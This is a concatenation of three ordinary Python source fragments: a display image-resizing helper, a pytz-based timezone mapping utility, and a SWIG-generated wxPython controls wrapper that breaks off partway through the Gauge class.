y += font.getsize(line)[1]
self._display.display(self._image)
def image(self, image: Image):
my_image = image.convert(mode="RGB") # returns a defensive copy in correct mode.
if my_image.size == (self.width, self.height):
# image is already correct size for display
self._display.display(my_image)
else:
# image must be resized
self._display.display(self._reduce_image(my_image))
def _reduce_image(self, my_image):
if my_image.width > self.width or my_image.height > self.height:
my_image.thumbnail((self.width, self.height), Image.BILINEAR)
padded_image = Image.new("RGB", (self.width, self.height), color=BLACK)
left_pad = (self.width - my_image.width) // 2
top_pad = (self.height - my_image.height) // 2
padded_image.paste(my_image, box=(left_pad, top_pad))
return padded_image
|
import tzlocal
import pytz
import elist.elist as elel
from pynoz.primitive import undefined,null,true,false
from pynoz.orb import Orb,set_via_pl_from_root
from datetime import datetime,timedelta,timezone
TO_AN_MD = {
"+":'___',
"-":'__'
}
FROM_AN_MD = {
'___':'+',
'__':'-'
}
def zone_to_an_map_func(zone):
an = zone.replace('+','___')
an = an.replace('-','__')
return(an)
def an_to_zone_map_func(an):
zone = an.replace('___','+')
zone = zone.replace('__','-')
return(zone)
def zone_to_an_arr_map_func(zone_arr):
return(elel.mapv(zone_arr,zone_to_an_map_func))
def an_to_zone_arr_map_func(an_arr):
return(elel.mapv(an_arr,an_to_zone_map_func))
def an_arr_to_leaf(an_arr):
zone_arr = an_to_zone_arr_map_func(an_arr)
s = elel.join(zone_arr,'/')
s = an_to_zone_map_func(s)
return(s)
def creat_timezones_prompt_orb():
root = Orb()
all_timezones = pytz.all_timezones
arr = elel.mapv(all_timezones,lambda ele:ele.split('/'))
arr = elel.mapv(arr,lambda ele:zone_to_an_arr_map_func(ele))
arr.sort()
for i in range(len(arr)):
pl = arr[i]
set_via_pl_from_root(root,pl,an_arr_to_leaf)
return(root)
def zone2z(zone):
tmzone = pytz.timezone(zone)
utc_dt = datetime(1, 1, 1, 0, 0, 0, 000000, tzinfo=tmzone)
z = datetime.strftime(utc_dt,"%z")
return(z)
def creat_zmd():
md = {}
all_timezones = pytz.all_timezones
for i in range(len(all_timezones)):
zone = all_timezones[i]
z = zone2z(zone)
md[zone] = z
md[z] = zone
return(md)
def creat_an_zmd():
md = {}
all_timezones = pytz.all_timezones
for i in range(len(all_timezones)):
zone = all_timezones[i]
an = zone_to_an_map_func(zone)
z = zone2z(zone)
md[an] = z
md[z] = an
return(md)
def creat_an_zone_md():
md = {}
all_timezones = pytz.all_timezones
for i in range(len(all_timezones)):
zone = all_timezones[i]
an = zone_to_an_map_func(zone)
md[zone] = an
md[an] = zone
return(md)
ZONES_PROMPT = creat_timezones_prompt_orb()
ZONES_Z_MD = creat_zmd()
AN_Z_MD = creat_an_zmd()
AN_ZONE_MD = creat_an_zone_md()
def zone2dict(zone):
tmzone = pytz.timezone(zone)
utc_dt = datetime(1, 1, 1, 0, 0, 0, 000000, tzinfo=tmzone)
z = datetime.strftime(utc_dt,"%z")
tmdelta = utc_dt.utcoffset()
tmzone = timezone(tmdelta,zone)
utc_dt = utc_dt.replace(tzinfo=tmzone)
soffset = tmdelta.total_seconds()
tzname = utc_dt.tzname()
d = {
'z':z,
'tzname':tzname,
'zone':zone,
'soffset':soffset,
'msoffset':soffset * 1000,
}
return(d)
def utcoffset2tmzone(offset):
delta = timedelta(0,offset) if(offset>=0) else timedelta(-1,86400+offset)
tmzone = timezone(delta,'GMT')
return(tmzone)
def z2offset(z):
sign = z[0]
h = int(z[1:3])
min = int(z[3:5])
offset = h*3600 + min * 60
offset = offset if(sign=='+') else -offset
return(offset)
def z2tmzone(z):
offset = z2offset(z)
tmzone = utcoffset2tmzone(offset)
return(tmzone)
def zone2tmzone(zone):
global AN_Z_MD
global ZONES_Z_MD
z = '+0000'
if(zone in AN_Z_MD):
z = AN_Z_MD[zone]
elif(zone in ZONES_Z_MD):
z = ZONES_Z_MD[zone]
else:
return(None)
return(z2tmzone(z))
def dict2tmzone(d):
return(utcoffset2tmzone(d['soffset']))
def get_soffset_from_tmzone(tmzone):
dt = datetime(1, 1, 1, 0, 0, 0, 000000, tzinfo=tmzone)
delta = dt.utcoffset()
return(delta.total_seconds())
|
# This file was created automatically by SWIG 1.3.29.
# Don't modify this file, modify the SWIG interface instead.
import _controls_
import new
new_instancemethod = new.instancemethod
def _swig_setattr_nondynamic(self,class_type,name,value,static=1):
if (name == "thisown"): return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'PySwigObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name,None)
if method: return method(self,value)
if (not static) or hasattr(self,name):
self.__dict__[name] = value
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self,class_type,name,value):
return _swig_setattr_nondynamic(self,class_type,name,value,0)
def _swig_getattr(self,class_type,name):
if (name == "thisown"): return self.this.own()
method = class_type.__swig_getmethods__.get(name,None)
if method: return method(self)
raise AttributeError,name
def _swig_repr(self):
try: strthis = "proxy of " + self.this.__repr__()
except: strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
import types
try:
_object = types.ObjectType
_newclass = 1
except AttributeError:
class _object : pass
_newclass = 0
del types
def _swig_setattr_nondynamic_method(set):
def set_attr(self,name,value):
if (name == "thisown"): return self.this.own(value)
if hasattr(self,name) or (name == "this"):
set(self,name,value)
else:
raise AttributeError("You cannot add attributes to %s" % self)
return set_attr
import _core
wx = _core
#---------------------------------------------------------------------------
BU_LEFT = _controls_.BU_LEFT
BU_TOP = _controls_.BU_TOP
BU_RIGHT = _controls_.BU_RIGHT
BU_BOTTOM = _controls_.BU_BOTTOM
BU_ALIGN_MASK = _controls_.BU_ALIGN_MASK
BU_EXACTFIT = _controls_.BU_EXACTFIT
BU_AUTODRAW = _controls_.BU_AUTODRAW
class Button(_core.Control):
"""
A button is a control that contains a text string, and is one of the most
common elements of a GUI. It may be placed on a dialog box or panel, or
indeed almost any other window.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=ButtonNameStr) -> Button
Create and show a button. The preferred way to create standard
buttons is to use a standard ID and an empty label. In this case
wxWigets will automatically use a stock label that corresponds to the
ID given. These labels may vary across platforms as the platform
itself will provide the label if possible. In addition, the button
will be decorated with stock icons under GTK+ 2.
"""
_controls_.Button_swiginit(self,_controls_.new_Button(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=ButtonNameStr) -> bool
Acutally create the GUI Button for 2-phase creation.
"""
return _controls_.Button_Create(*args, **kwargs)
def SetDefault(*args, **kwargs):
"""
SetDefault(self)
This sets the button to be the default item for the panel or dialog box.
"""
return _controls_.Button_SetDefault(*args, **kwargs)
def GetDefaultSize(*args, **kwargs):
"""
GetDefaultSize() -> Size
Returns the default button size for this platform.
"""
return _controls_.Button_GetDefaultSize(*args, **kwargs)
GetDefaultSize = staticmethod(GetDefaultSize)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Button_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.Button_swigregister(Button)
cvar = _controls_.cvar
ButtonNameStr = cvar.ButtonNameStr
def PreButton(*args, **kwargs):
"""
PreButton() -> Button
Precreate a Button for 2-phase creation.
"""
val = _controls_.new_PreButton(*args, **kwargs)
return val
def Button_GetDefaultSize(*args):
"""
Button_GetDefaultSize() -> Size
Returns the default button size for this platform.
"""
return _controls_.Button_GetDefaultSize(*args)
def Button_GetClassDefaultAttributes(*args, **kwargs):
"""
Button_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Button_GetClassDefaultAttributes(*args, **kwargs)
class BitmapButton(Button):
"""
A Button that contains a bitmap. A bitmap button can be supplied with a
single bitmap, and wxWidgets will draw all button states using this bitmap. If
the application needs more control, additional bitmaps for the selected state,
unpressed focused state, and greyed-out state may be supplied.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=BU_AUTODRAW, Validator validator=DefaultValidator,
String name=ButtonNameStr) -> BitmapButton
Create and show a button with a bitmap for the label.
"""
_controls_.BitmapButton_swiginit(self,_controls_.new_BitmapButton(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Bitmap bitmap=wxNullBitmap,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=BU_AUTODRAW, Validator validator=DefaultValidator,
String name=ButtonNameStr) -> bool
Acutally create the GUI BitmapButton for 2-phase creation.
"""
return _controls_.BitmapButton_Create(*args, **kwargs)
def GetBitmapLabel(*args, **kwargs):
"""
GetBitmapLabel(self) -> Bitmap
Returns the label bitmap (the one passed to the constructor).
"""
return _controls_.BitmapButton_GetBitmapLabel(*args, **kwargs)
def GetBitmapDisabled(*args, **kwargs):
"""
GetBitmapDisabled(self) -> Bitmap
Returns the bitmap for the disabled state.
"""
return _controls_.BitmapButton_GetBitmapDisabled(*args, **kwargs)
def GetBitmapFocus(*args, **kwargs):
"""
GetBitmapFocus(self) -> Bitmap
Returns the bitmap for the focused state.
"""
return _controls_.BitmapButton_GetBitmapFocus(*args, **kwargs)
def GetBitmapSelected(*args, **kwargs):
"""
GetBitmapSelected(self) -> Bitmap
Returns the bitmap for the selected state.
"""
return _controls_.BitmapButton_GetBitmapSelected(*args, **kwargs)
def GetBitmapHover(*args, **kwargs):
"""
GetBitmapHover(self) -> Bitmap
Returns the bitmap used when the mouse is over the button, may be invalid.
"""
return _controls_.BitmapButton_GetBitmapHover(*args, **kwargs)
def SetBitmapDisabled(*args, **kwargs):
"""
SetBitmapDisabled(self, Bitmap bitmap)
Sets the bitmap for the disabled button appearance.
"""
return _controls_.BitmapButton_SetBitmapDisabled(*args, **kwargs)
def SetBitmapFocus(*args, **kwargs):
"""
SetBitmapFocus(self, Bitmap bitmap)
Sets the bitmap for the button appearance when it has the keyboard focus.
"""
return _controls_.BitmapButton_SetBitmapFocus(*args, **kwargs)
def SetBitmapSelected(*args, **kwargs):
"""
SetBitmapSelected(self, Bitmap bitmap)
Sets the bitmap for the selected (depressed) button appearance.
"""
return _controls_.BitmapButton_SetBitmapSelected(*args, **kwargs)
def SetBitmapLabel(*args, **kwargs):
"""
SetBitmapLabel(self, Bitmap bitmap)
Sets the bitmap label for the button. This is the bitmap used for the
unselected state, and for all other states if no other bitmaps are provided.
"""
return _controls_.BitmapButton_SetBitmapLabel(*args, **kwargs)
def SetBitmapHover(*args, **kwargs):
"""
SetBitmapHover(self, Bitmap hover)
Sets the bitmap to be shown when the mouse is over the button. This function
is new since wxWidgets version 2.7.0 and the hover bitmap is currently only
supported in wxMSW.
"""
return _controls_.BitmapButton_SetBitmapHover(*args, **kwargs)
def SetMargins(*args, **kwargs):
"""SetMargins(self, int x, int y)"""
return _controls_.BitmapButton_SetMargins(*args, **kwargs)
def GetMarginX(*args, **kwargs):
"""GetMarginX(self) -> int"""
return _controls_.BitmapButton_GetMarginX(*args, **kwargs)
def GetMarginY(*args, **kwargs):
"""GetMarginY(self) -> int"""
return _controls_.BitmapButton_GetMarginY(*args, **kwargs)
BitmapDisabled = property(GetBitmapDisabled,SetBitmapDisabled,doc="See `GetBitmapDisabled` and `SetBitmapDisabled`")
BitmapFocus = property(GetBitmapFocus,SetBitmapFocus,doc="See `GetBitmapFocus` and `SetBitmapFocus`")
BitmapHover = property(GetBitmapHover,SetBitmapHover,doc="See `GetBitmapHover` and `SetBitmapHover`")
BitmapLabel = property(GetBitmapLabel,SetBitmapLabel,doc="See `GetBitmapLabel` and `SetBitmapLabel`")
BitmapSelected = property(GetBitmapSelected,SetBitmapSelected,doc="See `GetBitmapSelected` and `SetBitmapSelected`")
MarginX = property(GetMarginX,doc="See `GetMarginX`")
MarginY = property(GetMarginY,doc="See `GetMarginY`")
_controls_.BitmapButton_swigregister(BitmapButton)
def PreBitmapButton(*args, **kwargs):
"""
PreBitmapButton() -> BitmapButton
Precreate a BitmapButton for 2-phase creation.
"""
val = _controls_.new_PreBitmapButton(*args, **kwargs)
return val
#---------------------------------------------------------------------------
CHK_2STATE = _controls_.CHK_2STATE
CHK_3STATE = _controls_.CHK_3STATE
CHK_ALLOW_3RD_STATE_FOR_USER = _controls_.CHK_ALLOW_3RD_STATE_FOR_USER
CHK_UNCHECKED = _controls_.CHK_UNCHECKED
CHK_CHECKED = _controls_.CHK_CHECKED
CHK_UNDETERMINED = _controls_.CHK_UNDETERMINED
class CheckBox(_core.Control):
"""
A checkbox is a labelled box which by default is either on (the
checkmark is visible) or off (no checkmark). Optionally (When the
wx.CHK_3STATE style flag is set) it can have a third state, called the
mixed or undetermined state. Often this is used as a "Does Not
Apply" state.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=CheckBoxNameStr) -> CheckBox
Creates and shows a CheckBox control
"""
_controls_.CheckBox_swiginit(self,_controls_.new_CheckBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=CheckBoxNameStr) -> bool
Actually create the GUI CheckBox for 2-phase creation.
"""
return _controls_.CheckBox_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""
GetValue(self) -> bool
Gets the state of a 2-state CheckBox. Returns True if it is checked,
False otherwise.
"""
return _controls_.CheckBox_GetValue(*args, **kwargs)
def IsChecked(*args, **kwargs):
"""
IsChecked(self) -> bool
Similar to GetValue, but raises an exception if it is not a 2-state
CheckBox.
"""
return _controls_.CheckBox_IsChecked(*args, **kwargs)
def SetValue(*args, **kwargs):
"""
SetValue(self, bool state)
Set the state of a 2-state CheckBox. Pass True for checked, False for
unchecked.
"""
return _controls_.CheckBox_SetValue(*args, **kwargs)
def Get3StateValue(*args, **kwargs):
"""
Get3StateValue(self) -> int
Returns wx.CHK_UNCHECKED when the CheckBox is unchecked,
wx.CHK_CHECKED when it is checked and wx.CHK_UNDETERMINED when it's in
the undetermined state. Raises an exceptiion when the function is
used with a 2-state CheckBox.
"""
return _controls_.CheckBox_Get3StateValue(*args, **kwargs)
def Set3StateValue(*args, **kwargs):
"""
Set3StateValue(self, int state)
Sets the CheckBox to the given state. The state parameter can be one
of the following: wx.CHK_UNCHECKED (Check is off), wx.CHK_CHECKED (the
Check is on) or wx.CHK_UNDETERMINED (Check is mixed). Raises an
exception when the CheckBox is a 2-state checkbox and setting the
state to wx.CHK_UNDETERMINED.
"""
return _controls_.CheckBox_Set3StateValue(*args, **kwargs)
def Is3State(*args, **kwargs):
"""
Is3State(self) -> bool
Returns whether or not the CheckBox is a 3-state CheckBox.
"""
return _controls_.CheckBox_Is3State(*args, **kwargs)
def Is3rdStateAllowedForUser(*args, **kwargs):
"""
Is3rdStateAllowedForUser(self) -> bool
Returns whether or not the user can set the CheckBox to the third
state.
"""
return _controls_.CheckBox_Is3rdStateAllowedForUser(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.CheckBox_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
ThreeStateValue = property(Get3StateValue,Set3StateValue,doc="See `Get3StateValue` and `Set3StateValue`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.CheckBox_swigregister(CheckBox)
CheckBoxNameStr = cvar.CheckBoxNameStr
def PreCheckBox(*args, **kwargs):
"""
PreCheckBox() -> CheckBox
Precreate a CheckBox for 2-phase creation.
"""
val = _controls_.new_PreCheckBox(*args, **kwargs)
return val
def CheckBox_GetClassDefaultAttributes(*args, **kwargs):
"""
CheckBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.CheckBox_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class Choice(_core.ControlWithItems):
"""
A Choice control is used to select one of a list of strings.
Unlike a `wx.ListBox`, only the selection is visible until the
user pulls down the menu of choices.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
List choices=EmptyList, long style=0, Validator validator=DefaultValidator,
String name=ChoiceNameStr) -> Choice
Create and show a Choice control
"""
_controls_.Choice_swiginit(self,_controls_.new_Choice(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
List choices=EmptyList, long style=0, Validator validator=DefaultValidator,
String name=ChoiceNameStr) -> bool
Actually create the GUI Choice control for 2-phase creation
"""
return _controls_.Choice_Create(*args, **kwargs)
def GetCurrentSelection(*args, **kwargs):
"""
GetCurrentSelection(self) -> int
Unlike `GetSelection` which only returns the accepted selection value,
i.e. the selection in the control once the user closes the dropdown
list, this function returns the current selection. That is, while the
dropdown list is shown, it returns the currently selected item in
it. When it is not shown, its result is the same as for the other
function.
"""
return _controls_.Choice_GetCurrentSelection(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Choice_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
CurrentSelection = property(GetCurrentSelection,doc="See `GetCurrentSelection`")
_controls_.Choice_swigregister(Choice)
ChoiceNameStr = cvar.ChoiceNameStr
def PreChoice(*args, **kwargs):
"""
PreChoice() -> Choice
Precreate a Choice control for 2-phase creation.
"""
val = _controls_.new_PreChoice(*args, **kwargs)
return val
def Choice_GetClassDefaultAttributes(*args, **kwargs):
"""
Choice_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.Choice_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class ComboBox(Choice):
"""
A combobox is like a combination of an edit control and a
listbox. It can be displayed as static list with editable or
read-only text field; or a drop-down list with text field.
A combobox permits a single selection only. Combobox items are
numbered from zero.
"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
List choices=EmptyList, long style=0, Validator validator=DefaultValidator,
String name=ComboBoxNameStr) -> ComboBox
Constructor, creates and shows a ComboBox control.
"""
_controls_.ComboBox_swiginit(self,_controls_.new_ComboBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
List choices=EmptyList, long style=0, Validator validator=DefaultValidator,
String name=ChoiceNameStr) -> bool
Actually create the GUI wxComboBox control for 2-phase creation
"""
return _controls_.ComboBox_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""
GetValue(self) -> String
Returns the current value in the combobox text field.
"""
return _controls_.ComboBox_GetValue(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, String value)"""
return _controls_.ComboBox_SetValue(*args, **kwargs)
def Copy(*args, **kwargs):
"""
Copy(self)
Copies the selected text to the clipboard.
"""
return _controls_.ComboBox_Copy(*args, **kwargs)
def Cut(*args, **kwargs):
"""
Cut(self)
Copies the selected text to the clipboard and removes the selection.
"""
return _controls_.ComboBox_Cut(*args, **kwargs)
def Paste(*args, **kwargs):
"""
Paste(self)
Pastes text from the clipboard to the text field.
"""
return _controls_.ComboBox_Paste(*args, **kwargs)
def SetInsertionPoint(*args, **kwargs):
"""
SetInsertionPoint(self, long pos)
Sets the insertion point in the combobox text field.
"""
return _controls_.ComboBox_SetInsertionPoint(*args, **kwargs)
def GetInsertionPoint(*args, **kwargs):
"""
GetInsertionPoint(self) -> long
Returns the insertion point for the combobox's text field.
"""
return _controls_.ComboBox_GetInsertionPoint(*args, **kwargs)
def GetLastPosition(*args, **kwargs):
"""
GetLastPosition(self) -> long
Returns the last position in the combobox text field.
"""
return _controls_.ComboBox_GetLastPosition(*args, **kwargs)
def Replace(*args, **kwargs):
"""
Replace(self, long from, long to, String value)
Replaces the text between two positions with the given text, in the
combobox text field.
"""
return _controls_.ComboBox_Replace(*args, **kwargs)
def SetMark(*args, **kwargs):
"""
SetMark(self, long from, long to)
Selects the text between the two positions in the combobox text field.
"""
return _controls_.ComboBox_SetMark(*args, **kwargs)
def GetMark(*args, **kwargs):
"""
GetMark(self) -> (from, to)
Gets the positions of the begining and ending of the selection mark in
the combobox text field.
"""
return _controls_.ComboBox_GetMark(*args, **kwargs)
def GetCurrentSelection(*args, **kwargs):
"""
GetCurrentSelection(self) -> int
Unlike `GetSelection` which only returns the accepted selection value,
i.e. the selection in the control once the user closes the dropdown
list, this function returns the current selection. That is, while the
dropdown list is shown, it returns the currently selected item in
it. When it is not shown, its result is the same as for the other
function.
"""
return _controls_.ComboBox_GetCurrentSelection(*args, **kwargs)
def SetStringSelection(*args, **kwargs):
"""
SetStringSelection(self, String string) -> bool
Select the item with the specifed string
"""
return _controls_.ComboBox_SetStringSelection(*args, **kwargs)
def SetEditable(*args, **kwargs):
"""SetEditable(self, bool editable)"""
return _controls_.ComboBox_SetEditable(*args, **kwargs)
def SetInsertionPointEnd(*args, **kwargs):
"""
SetInsertionPointEnd(self)
Sets the insertion point at the end of the combobox text field.
"""
return _controls_.ComboBox_SetInsertionPointEnd(*args, **kwargs)
def Remove(*args, **kwargs):
"""
Remove(self, long from, long to)
Removes the text between the two positions in the combobox text field.
"""
return _controls_.ComboBox_Remove(*args, **kwargs)
def IsEditable(*args, **kwargs):
"""
IsEditable(self) -> bool
Returns True if the combo is ediatable (not read-only.)
"""
return _controls_.ComboBox_IsEditable(*args, **kwargs)
def Undo(*args, **kwargs):
"""
Undo(self)
Redoes the last undo in the text field. Windows only.
"""
return _controls_.ComboBox_Undo(*args, **kwargs)
def Redo(*args, **kwargs):
"""
Redo(self)
Undoes the last edit in the text field. Windows only.
"""
return _controls_.ComboBox_Redo(*args, **kwargs)
def SelectAll(*args, **kwargs):
"""
SelectAll(self)
Select all the text in the combo's text field.
"""
return _controls_.ComboBox_SelectAll(*args, **kwargs)
def CanCopy(*args, **kwargs):
"""
CanCopy(self) -> bool
Returns True if the combobox is editable and there is a text selection
to copy to the clipboard. Only available on Windows.
"""
return _controls_.ComboBox_CanCopy(*args, **kwargs)
def CanCut(*args, **kwargs):
"""
CanCut(self) -> bool
Returns True if the combobox is editable and there is a text selection
to copy to the clipboard. Only available on Windows.
"""
return _controls_.ComboBox_CanCut(*args, **kwargs)
def CanPaste(*args, **kwargs):
"""
CanPaste(self) -> bool
Returns True if the combobox is editable and there is text on the
clipboard that can be pasted into the text field. Only available on
Windows.
"""
return _controls_.ComboBox_CanPaste(*args, **kwargs)
def CanUndo(*args, **kwargs):
"""
CanUndo(self) -> bool
Returns True if the combobox is editable and the last edit can be
undone. Only available on Windows.
"""
return _controls_.ComboBox_CanUndo(*args, **kwargs)
def CanRedo(*args, **kwargs):
"""
CanRedo(self) -> bool
Returns True if the combobox is editable and the last undo can be
redone. Only available on Windows.
"""
return _controls_.ComboBox_CanRedo(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ComboBox_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
CurrentSelection = property(GetCurrentSelection,doc="See `GetCurrentSelection`")
InsertionPoint = property(GetInsertionPoint,SetInsertionPoint,doc="See `GetInsertionPoint` and `SetInsertionPoint`")
LastPosition = property(GetLastPosition,doc="See `GetLastPosition`")
Mark = property(GetMark,SetMark,doc="See `GetMark` and `SetMark`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.ComboBox_swigregister(ComboBox)
ComboBoxNameStr = cvar.ComboBoxNameStr
def PreComboBox(*args, **kwargs):
"""
PreComboBox() -> ComboBox
Precreate a ComboBox control for 2-phase creation.
"""
val = _controls_.new_PreComboBox(*args, **kwargs)
return val
def ComboBox_GetClassDefaultAttributes(*args, **kwargs):
"""
ComboBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ComboBox_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
GA_HORIZONTAL = _controls_.GA_HORIZONTAL
GA_VERTICAL = _controls_.GA_VERTICAL
GA_SMOOTH = _controls_.GA_SMOOTH
GA_PROGRESSBAR = 0 # obsolete
class Gauge(_core.Control):
"""Proxy of C++ Gauge class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, int range=100, Point pos=DefaultPosition,
Size size=DefaultSize, long style=GA_HORIZONTAL,
Validator validator=DefaultValidator,
String name=GaugeNameStr) -> Gauge
"""
_controls_.Gauge_swiginit(self,_controls_.new_Gauge(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, int range=100, Point pos=DefaultPosition,
Size size=DefaultSize, long style=GA_HORIZONTAL,
Validator validator=DefaultValidator,
String name=GaugeNameStr) -> bool
"""
return _controls_.Gauge_Create(*args, **kwargs)
def SetRange(*args, **kwargs):
"""SetRange(self, int range)"""
return _controls_.Gauge_SetRange(*args, **kwargs)
def GetRange(*args, **kwargs):
"""GetRange(self) -> int"""
return _controls_.Gauge_GetRange(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, int pos)"""
return _controls_.Gauge_SetValue(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> int"""
return _controls_.Gauge_GetValue(*args, **kwargs)
def Pulse(*args, **kwargs):
"""Pulse(self)"""
return _controls_.Gauge_Pulse(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.Gauge_IsVertical(*args, **kwargs)
def SetShadowWidth(*args, **kwargs):
